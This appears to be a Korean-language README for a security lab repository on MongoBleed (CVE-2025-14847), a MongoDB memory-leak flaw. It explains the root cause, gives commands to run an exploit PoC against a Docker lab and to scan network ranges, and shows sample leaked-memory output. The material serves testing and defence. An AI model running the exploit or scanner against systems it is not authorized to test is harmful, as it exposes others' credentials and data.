🩸 MongoBleed - CVE-2025-14847 보안 연구 랩
CVE-2025-14847 | CVSS 8.7 (높음) | 인증 없는 메모리 노출
📖 전체 문서 •
🔬 기술 분석 •
⚡ 빠른 명령어
🎯 CVE-2025-14847 요약
MongoBleed는 MongoDB 네트워크 전송 계층의 심각한 메모리 노출 취약점으로, 인증되지 않은 원격 공격자가 자격 증명이나 사용자 상호작용 없이 민감한 힙 메모리를 유출할 수 있게 합니다.
영향
| 분류 | 설명 |
|---|
| 공격 유형 | 원격, 인증 없는 메모리 노출 |
| 근본 원인 | Zlib 압축 해제가 실제 데이터 길이 대신 할당된 버퍼 크기를 반환 |
| 노출 데이터 | 데이터베이스 비밀번호, API 키, 세션 토큰, AWS 자격 증명, 내부 서버 상태 |
| 심각도 | CVSS 8.7 (높음) - 네트워크 접근 가능, 인증 불필요 |
| 악용 현황 | 2025년 12월 28일부터 실제 환경에서 활발한 악용 관찰됨 |
취약 버전 (한눈에 보기)
📖 전체 영향 버전 표 보기 →
노출 규모
- 87,000 - 194,000개의 MongoDB 인스턴스가 공개적으로 노출됨
- 클라우드 환경의 **42%**가 취약한 인스턴스를 호스팅함 (Wiz Research)
- 인증 불필요 - 공격이 인증 전 단계에서 발생
- 조용한 악용 - 로그 없음, 크래시 없음
엔지니어링 팀을 위한 TL;DR
🔬 취약점 구조 분석
기술 분석
이 취약점은 MongoDB의 네트워크 전송 계층(message_compressor_zlib.cpp)에 존재하며, zlib 압축 해제 로직의 치명적인 결함으로 인해 인증되지 않은 공격자가 민감한 서버 메모리를 유출할 수 있습니다.
근본 원인
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
악용 흐름
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
발견 타임라인
| 날짜 | 이벤트 |
|---|
| 2025년 12월 15일 | 취약점 식별, 내부 티켓 SERVER-115508 발행 |
| 2025년 12월 19일 | 수정 버전 출시, CVE-2025-14847 공개 |
| 2025년 12월 24일 |
🔬 기술 분석 보기 → - 상세 취약점 구조, 익스플로잇 구성 및 탐지 방법
📁 프로젝트 구조
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Exploit Lab
│ ├── docker-compose.yml # Vulnerable + Patched MongoDB instances
│ ├── mongobleed.py # Memory leak exploit PoC
│ ├── init/init-mongo.js # Sensitive test data
│ ├── test-exploit.sh # Lab test script
│ └── README.md # Lab documentation
│
├── scanner/ # 🌐 Network Scanner
│ ├── mongobleed_scanner.py # IP/domain vulnerability scanner
│ ├── sample-targets.txt # Sample targets file
│ └── README.md # Scanner documentation
│
├── code-scan/ # 📂 Code Scanner
│ ├── main.py # CLI entry point
│ ├── scanners/ # Docker, Python, Infra scanners
│ ├── models/ # Finding, Vulnerability models
│ ├── integrations/ # Phoenix Security upload
│ └── README.md # Code scanner documentation
│
└── original-exploit/ # 📚 Original PoC reference
🚀 빠른 시작
1. 익스플로잇 랩
cd exploit
# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10
# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017
# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018
# Full lab test
./test-exploit.sh
2. 네트워크 스캐너
cd scanner
# Scan single host
python3 mongobleed_scanner.py 192.168.1.100
# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24
# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
3. 코드 스캐너
cd code-scan
# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project
# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Run tests
python3 main.py test
⚡ 빠른 명령어
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10
# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017
# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018
# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .
# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
📊 출력 예시
익스플로잇 출력
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
네트워크 스캐너 출력
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
코드 스캐너 출력
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
🛡️ 완화 조치 요약
📖 전체 완화 가이드 보기 →
🔗 Phoenix Security 연동
모든 스캐너는 Phoenix Security 플랫폼으로 발견 항목 업로드를 지원합니다:
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
🔐 보안 공지
⚠️ 중요: 이 툴킷은 승인된 보안 테스트 및 연구 목적으로만 제공됩니다.
- 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에서만 테스트하세요
- 컴퓨터 시스템에 대한 무단 접근은 불법입니다
- 유출된 데이터는 민감한 정보를 포함할 수 있으므로 책임감 있게 처리하세요
- 취약점은 적절한 공개 채널을 통해 신고하세요
📚 문서
핵심 문서
도구 문서
🔗 외부 참고 자료
👤 크레딧
- 원본 익스플로잇: Joe Desimone (@dez_)
- 보안 연구를 위한 랩 환경 및 스캐너 개선
📄 라이선스
승인된 보안 테스트 전용입니다. 책임감 있게 사용하세요.
최종 업데이트: 2025년 12월